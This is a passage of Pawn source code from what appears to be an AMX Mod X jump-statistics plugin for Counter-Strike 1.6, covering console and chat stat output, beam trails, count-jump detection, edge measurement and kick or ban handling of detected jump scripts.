set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id],strafe_num[id], sync_[id],dd_sync[id]);
}
if(jump_type[id] != Type_Slide && streifstat[id]==true && jump_type[id]!=Type_None && (failed_jump[id]))
{
set_hudmessage(f_stats_r, f_stats_g, f_stats_b, strafe_x, strafe_y, 0, 6.0, 2.5, 0.1, 0.3, h_streif );
show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMessBuf); //stata streifof fail
}
if(kz_stats_pre[id]==true && (jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
{
set_hudmessage(f_stats_r, f_stats_g, f_stats_b, duck_x,duck_y, 0, 6.0, 2.5, 0.1, 0.3, h_duck);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMBuf); //stata duckov fail
}
}
}
*/
//console prints
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
{
copy(strMessBuf,strLen,strMess);
if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) )
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] );
}
else if(jump_type[id]==Type_Multi_Bhop )
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT2", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] ,bhop_num[id]);
}
else if(jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump))
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT3", type, distance[id], maxspeed[id], gain[id], prest1[id], prestrafe[id], strafe_num[id],sync_[id],dd_sync[id] );
}
else if(jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump)
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] );
}
else if(jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump))
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id], strafe_num[id],sync_[id],dd_sync[id] );
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT5",dd_sync[id]);
}
else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump))
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id],strafe_num[id], sync_[id]);
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT5",dd_sync[id]);
}
if(jump_type[id]!=Type_None)
{
static strMessHalf[40];
for(jj=INFO_ONE; (jj <= strafe_num[id]) && (jj < NSTRAFES);jj++)
{
strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
replace(strMessHalf,40,"^n","");
client_print(i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT7", strMessHalf);
}
}
if(jump_type[id]==Type_ladder && strafe_stat_speed[id][0][0]!=0)
{
client_print(i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT12", strafe_stat_speed[id][0][0]);
}
else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump))
{
client_print( i, print_console, "..................................................");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT8",prest1[id]);
for(new ss=2;ss<=ducks[id];ss++)
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT9",ss-1,statsduckspeed[id][ss]);
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT10",prestrafe[id]);
client_print( i, print_console, "..................................................");
}
else if(jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump))
{
client_print( i, print_console, "..................................................");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT8",prest1[id]);
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT11",prest[id]);
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT10",prestrafe[id]);
client_print( i, print_console, "..................................................");
}
else if(jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop_In_Duck)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT13",upheight[id]);
}
if(wpn!=29 && wpn!=17 && wpn!=16)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT14",weapon_name);
}
if(fps_hight[id] && jump_type[id]!=Type_ladder)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT15");
fps_hight[id]=false;
}
if(ladderbug[id])
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT16");
ladderbug[id]=false;
}
if(find_ladder[id] && jump_type[id]==Type_DuckBhop)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT17");
find_ladder[id]=false;
}
if(touch_somthing[id])
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT18");
}
if(Show_edge[id] && failed_jump[id]==false && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
if((jumpblock[id]+Landing+edgedist[id])>(distance[id]+10.0) || Landing<=0.0)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT21",jumpblock[id],edgedist[id]);
}
else if(land_bug )
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT19",jumpblock[id],edgedist[id],Landing);
}
else client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT20",jumpblock[id],edgedist[id],Landing);
}
else if(Show_edge[id] && failed_jump[id] && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT21",jumpblock[id],edgedist[id]);
}
else if(Show_edge_Fail[id] && failed_jump[id] && jump_type[id]!=Type_ladder && edgedist[id]<100.0 && edgedist[id]!=0.0)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT22",edgedist[id]);
}
if(find_script)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_PROBSCRIPT");
}
if(trigger_protection[id])
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CTRIGGERPROTECT");
trigger_protection[id]=false;
}
}
}
if(wpn==29 || wpn==17 || wpn==16 || wpn==4 || wpn==9 || wpn==25)
{
formatex(weapon_name,20,"");
}
else
{
new tmp_str[21];
formatex(tmp_str,20,"[");
add(weapon_name, 20, "]");
add(tmp_str, 20, weapon_name);
formatex(weapon_name,20,tmp_str);
}
if(find_script)
{
new punishment[64];
formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHBLOCK");
switch(uq_script_punishment)
{
case 1:
{
formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHKICK");
}
case 2:
{
formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHBAN",uq_ban_minutes);
}
}
if(jump_type[id]!=Type_None)
{
Log_script(FullJumpFrames[id],angles_arry[id],id,distance[id],maxspeed[id],prestrafe[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp),Jtype[id],weapon_name1,punishment,strMess);
switch(uq_script_punishment)
{
case 1:
{
kick_function(id,Jtype[id]);
}
case 2:
{
ban_function(id,Jtype[id]);
}
}
}
}
new block_colorchat_dist;
if(uq_block_chat_show)
{
block_colorchat_dist=god_dist;
switch(uq_block_chat_min)
{
case 0:
block_colorchat_dist=good_dist;
case 1:
block_colorchat_dist=pro_dist;
case 2:
block_colorchat_dist=holy_dist;
case 3:
block_colorchat_dist=leet_dist;
case 4:
block_colorchat_dist=god_dist;
}
}
new block_str[20];
if(jumpblock[id]>=block_colorchat_dist && uq_block_chat_show && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
formatex(block_str,19,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_BLOCK",jumpblock[id]);
}
else
{
formatex(block_str,19,"");
}
new iPlayers[32],iNum;
get_players( iPlayers, iNum,"ch") ;
for(new i=0;i<iNum;i++)
{
new ids=iPlayers[i];
if(gHasColorChat[ids] ==true || ids==id)
{
if( !failed_jump[id] )
{
if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_Double_CountJump
|| (multiscj[id]!=2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]!=2 && jump_type[id]==Type_Drop_CountJump) || jump_type[id]==Type_CountJump
|| jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_BhopLongJump || jump_type[id]==Type_StandupBhopLongJump || jump_type[id]==Type_WeirdLongJump
|| jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump))
{
if ( distance[id] >= god_dist ) {
if( uq_sounds && enable_sound[ids]==true )
{
client_cmd(ids, "speak misc/mod_godlike");
}
if( uq_light ) krasnota(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >= leet_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/mod_wickedsick");
if( uq_light ) krasnota(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >= holy_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/holyshit");
if( uq_light ) sineva(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >= pro_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/perfect");
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >=good_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/impressive");
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
}
else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id]==Type_Drop_CountJump))
{
if ( distance[id] >= god_dist ) {
if( uq_sounds && enable_sound[ids]==true )
{
client_cmd(ids, "speak misc/mod_godlike");
}
if( uq_light ) krasnota(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >= leet_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/mod_wickedsick");
if( uq_light ) krasnota(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >= holy_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/holyshit");
if( uq_light ) sineva(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >= pro_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/perfect");
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >=good_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/impressive");
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
}
}
}
}
// UberBeam start
if( kz_beam[id]==true)
{
for( new i = 0; i < 100; i++ ) {
if( gBeam_points[id][i][0] == 0.0
&& gBeam_points[id][i][1] == 0.0
&& gBeam_points[id][i][2] == 0.0 ) {
continue;
}
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte ( TE_BEAMPOINTS );
if( i == 100 ) {
write_coord(floatround(gBeam_points[id][i][0]));
write_coord(floatround(gBeam_points[id][i][1]));
write_coord(floatround(jumpoff_origin[id][2]-34.0));
write_coord(floatround(land_origin[0]));
write_coord(floatround(land_origin[1]));
write_coord(floatround(jumpoff_origin[id][2]-34.0));
} else {
if ( i > 2 ) {
write_coord(floatround(gBeam_points[id][i-1][0]));
write_coord(floatround(gBeam_points[id][i-1][1]));
write_coord(floatround(jumpoff_origin[id][2]-34.0));
} else {
write_coord(floatround(jumpoff_origin[id][0]));
write_coord(floatround(jumpoff_origin[id][1]));
write_coord(floatround(jumpoff_origin[id][2]-34.0));
}
write_coord(floatround(gBeam_points[id][i][0]));
write_coord(floatround(gBeam_points[id][i][1]));
write_coord(floatround(jumpoff_origin[id][2]-34.0));
}
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(30);
write_byte(20);
write_byte(0);
if(gBeam_duck[id][i])
{
write_byte(255);
write_byte(0);
write_byte(0);
}
else if(beam_type[id]==2 && gBeam_button[id][i])
{
if(gBeam_button_what[id][i]==1)
{
write_byte(0);
write_byte(255);
write_byte(0);
}
else if(gBeam_button_what[id][i]==2)
{
write_byte(0);
write_byte(0);
write_byte(255);
}
}
else
{
write_byte(255);
write_byte(255);
write_byte(0);
}
write_byte(200);
write_byte(200);
message_end();
}
}
JumpReset(id,25);
}
new bool:posible_dropcj;
if(button & IN_DUCK && !(oldbuttons &IN_DUCK) && (jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump))
{
new Float:tmpdropcj_start[3],Float:tmpdropcj_end[3],Float:tmpdropcj_frame[3];
pev(id, pev_origin, origin);
tmpdropcj_start=origin;
tmpdropcj_start[2]=tmpdropcj_start[2]-36.0;
tmpdropcj_end=tmpdropcj_start;
tmpdropcj_end[2]=tmpdropcj_end[2]-20;
engfunc(EngFunc_TraceLine,origin,tmpdropcj_end, IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, tmpdropcj_frame);
if(tmpdropcj_start[2]-tmpdropcj_frame[2]<=18.0)
{
posible_dropcj=true;
in_duck[id]=false;
}
else posible_dropcj=false;
}
if(!in_air[id] && button & IN_DUCK && !(oldbuttons &IN_DUCK) && (flags & FL_ONGROUND || posible_dropcj) && !in_duck[id] && UpcjFail[id]==false)
{
if( get_gametime( ) - duckoff_time[id] < 0.3 )
{
started_multicj_pre[id] = true;
prest[id]= speed[id];
ducks[id]++;
statsduckspeed[id][ducks[id]]=speed[id];
new Float:tmporg_z;
if(is_user_ducking(id))
{
tmporg_z=origin[2]+18.0;
}
else tmporg_z=origin[2];
if(tmporg_z-first_duck_z[id]>4.0)
{
JumpReset(id,654);
if(dropbhop[id])
dropbhop[id]=false;
if(in_ladder[id])
in_ladder[id]=false;
dropupcj[id]=true;
return FMRES_IGNORED;
}
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[id]==true && showduck[id]==true)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_DUCKPRE",speed[i]);
}
}
}
}
else
{
pev(id, pev_origin, origin);
ducks[id]=0;
prest1[id]= speed[id]; //ground pre
ducks[id]++;//schetchik duckov
duckstartz[id]=origin[2];
statsduckspeed[id][ducks[id]]=speed[id];//dlya vivoda stati po ducka
started_cj_pre[id] = true;
nextbhop[id]=false;
bhopaem[id]=false;
if(first_duck_z[id] && (origin[2]-first_duck_z[id])>4)
{
dropupcj[id]=true;
JumpReset(id,655);
if(dropbhop[id])
dropbhop[id]=false;
if(in_ladder[id])
in_ladder[id]=false;
return FMRES_IGNORED;
}
if(ducks[id]==1)
{
if(is_user_ducking(id))
{
first_duck_z[id]=origin[2]+18.0;
}
else first_duck_z[id]=origin[2];
}
if(dropupcj[id]==false && get_gametime()-FallTime[id]<0.3 && (in_ladder[id] || jump_type[id]==Type_ladderBhop || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || dropbhop[id]))
{
in_ladder[id]=false;
jump_type[id] = Type_Drop_CountJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRCJ");
multidropcj[id]=0;
dropaem[id]=true;
if(dropbhop[id])
dropbhop[id]=false;
if(in_ladder[id])
in_ladder[id]=false;
}
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[id]==true && showduck[id]==true)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_DUCKPRE",speed[i]);
}
}
}
}
in_duck[id] = true;
}
else if( !in_air[id] && oldbuttons & IN_DUCK && (flags & FL_ONGROUND || posible_dropcj) && UpcjFail[id]==false)
{
if( !is_user_ducking( id ) )
{
in_duck[id] = false;
if( started_cj_pre[id] )
{
started_cj_pre[id] = false;
duckoff_time[id] = get_gametime( );
duckoff_origin[id] = origin;
FallTime1[id]=get_gametime();
strafe_num[id] = 0;
TempSpeed[id] = 0.0;
if(jump_type[id] != Type_Drop_CountJump)
{
jump_type[id] = Type_CountJump;
jump_typeOld[id]=1;
if(nextbhop[id] || bhopaem[id])
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAJ");
CjafterJump[id]=1;
ddafterJump[id]=true;
}
else
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJ");
CjafterJump[id]=0;
ddafterJump[id]=false;
}
}
else
{
FallTime[id]=get_gametime();
multidropcj[id]=0;
jump_typeOld[id]=1;
}
}
else if( started_multicj_pre[id] )
{
started_multicj_pre[id] = false;
duckoff_time[id] = get_gametime( );
duckoff_origin[id] = origin;
FallTime1[id]=get_gametime();
strafe_num[id] = 0;
TempSpeed[id] = 0.0;
if(jump_type[id] != Type_Drop_CountJump)
{
jump_type[id] = Type_Double_CountJump;
jump_typeOld[id]=2;
if(nextbhop[id] || bhopaem[id])
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAJ");
CjafterJump[id]=2;
ddafterJump[id]=true;
}
else
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJ");
CjafterJump[id]=0;
ddafterJump[id]=false;
}
}
else
{
multidropcj[id]=1;
FallTime[id]=get_gametime();
jump_typeOld[id]=2;
}
}
if(ducks[id]>2)
{
if(jump_type[id] != Type_Drop_CountJump)
{
jump_type[id] = Type_Multi_CountJump; //detect mcj
jump_typeOld[id]=3;
if(nextbhop[id] || bhopaem[id])
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAJ");
CjafterJump[id]=3;
ddafterJump[id]=true;
}
else
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJ");
CjafterJump[id]=0;
ddafterJump[id]=false;
}
}
else
{
multidropcj[id]=2;
FallTime[id]=get_gametime();
jump_typeOld[id]=3;
}
}
}
}
if(flags&FL_ONGROUND && g_Jumped[id]==false && jofon[id] && movetype[id] != MOVETYPE_FLY)
{
new Float:new_origin[3],Float:tmpOrigin[3], Float:tmpOrigin2[3];
pev(id,pev_origin,new_origin);
new_origin[2]=new_origin[2]-36.1;
pev(id, pev_velocity, velocity);
for(new i=0,j=-18;i<3;i++,j=j+18)
{
tmpOrigin=new_origin;
tmpOrigin2=new_origin;
if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
tmpOrigin[1]=new_origin[1]+200;
tmpOrigin2[1]=new_origin[1]-16;
tmpOrigin[0]=tmpOrigin[0]+j;
tmpOrigin2[0]=tmpOrigin2[0]+j;
}
else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
tmpOrigin[1]=new_origin[1]-200;
tmpOrigin2[1]=new_origin[1]+16;
tmpOrigin[0]=tmpOrigin[0]+j;
tmpOrigin2[0]=tmpOrigin2[0]+j;
}
else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
tmpOrigin[0]=new_origin[0]+200;
tmpOrigin2[0]=new_origin[0]-16;
tmpOrigin[1]=tmpOrigin[1]+j;
tmpOrigin2[1]=tmpOrigin2[1]+j;
}
else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
tmpOrigin[0]=new_origin[0]-200;
tmpOrigin2[0]=new_origin[0]+16;
tmpOrigin[1]=tmpOrigin[1]+j;
tmpOrigin2[1]=tmpOrigin2[1]+j;
}
new Float:tmpEdgeOrigin[3];
engfunc(EngFunc_TraceLine,tmpOrigin,tmpOrigin2, IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, tmpEdgeOrigin);
if(get_distance_f(tmpEdgeOrigin,tmpOrigin2)!=0.0)
{
jof[id]=get_distance_f(tmpEdgeOrigin,tmpOrigin2)-0.031250;
}
}
}
else if(!(flags&FL_ONGROUND) && g_Jumped[id] && edgedone[id]==false && movetype[id] != MOVETYPE_FLY)
{
new onbhopblock,bhop_block[1];
find_sphere_class(id,"func_door", 48.0, bhop_block, 1, Float:{0.0, 0.0, 0.0} );
if(bhop_block[0])
{
onbhopblock=true;
}
else
{
onbhopblock=false;
}
new Float:tmpblock[3],tmpjblock[3],Float:new_origin[3],Float:tmpOrigin[3], Float:tmpOrigin2[3];
new_origin=jumpoff_origin[id];
if(onbhopblock)
{
new_origin[2]=new_origin[2]-40.0;
}
else new_origin[2]=new_origin[2]-36.1;
pev(id, pev_velocity, velocity);
new block_checking[3];
for(new i=0,j=-18;i<3;i++,j=j+18)
{
tmpOrigin=new_origin;
tmpOrigin2=new_origin;
tmpblock=new_origin;
if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
tmpOrigin[1]=new_origin[1]+100;
tmpOrigin2[1]=new_origin[1]-16;
tmpOrigin[0]=tmpOrigin[0]+j;
tmpOrigin2[0]=tmpOrigin2[0]+j;
tmpblock[1]=new_origin[1]+uq_maxedge+1;
tmpblock[0]=tmpblock[0]+j;
}
else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
tmpOrigin[1]=new_origin[1]-100;
tmpOrigin2[1]=new_origin[1]+16;
tmpOrigin[0]=tmpOrigin[0]+j;
tmpOrigin2[0]=tmpOrigin2[0]+j;
tmpblock[1]=new_origin[1]-uq_maxedge+1;
tmpblock[0]=tmpblock[0]+j;
}
else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
tmpOrigin[0]=new_origin[0]+100;
tmpOrigin2[0]=new_origin[0]-16;
tmpOrigin[1]=tmpOrigin[1]+j;
tmpOrigin2[1]=tmpOrigin2[1]+j;
tmpblock[0]=new_origin[0]+uq_maxedge+1;
tmpblock[1]=tmpblock[1]+j;
}
else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
tmpOrigin[0]=new_origin[0]-100;
tmpOrigin2[0]=new_origin[0]+16;
tmpOrigin[1]=tmpOrigin[1]+j;
tmpOrigin2[1]=tmpOrigin2[1]+j;
tmpblock[0]=new_origin[0]-uq_maxedge+1;
tmpblock[1]=tmpblock[1]+j;
}
new Float:tmpEdgeOrigin[3];
engfunc(EngFunc_TraceLine,tmpOrigin,tmpOrigin2, IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, tmpEdgeOrigin);
if(get_distance_f(tmpEdgeOrigin,tmpOrigin2)!=0.0)
{
edgedist[id]=get_distance_f(tmpEdgeOrigin,tmpOrigin2)-0.031250;
}
new Float:tmpblockOrigin[3];
engfunc(EngFunc_TraceLine,tmpEdgeOrigin,tmpblock, IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, tmpblockOrigin);
if(get_distance_f(tmpblockOrigin,tmpEdgeOrigin)!=0.0)
{
tmpjblock[i]=floatround(get_distance_f(tmpblockOrigin,tmpEdgeOrigin),floatround_floor)+1;
}
new Float:checkblock1[3],Float:checkblock2[3];
tmpblockOrigin[2]=tmpblockOrigin[2]-1.0;
checkblock1=tmpblockOrigin;
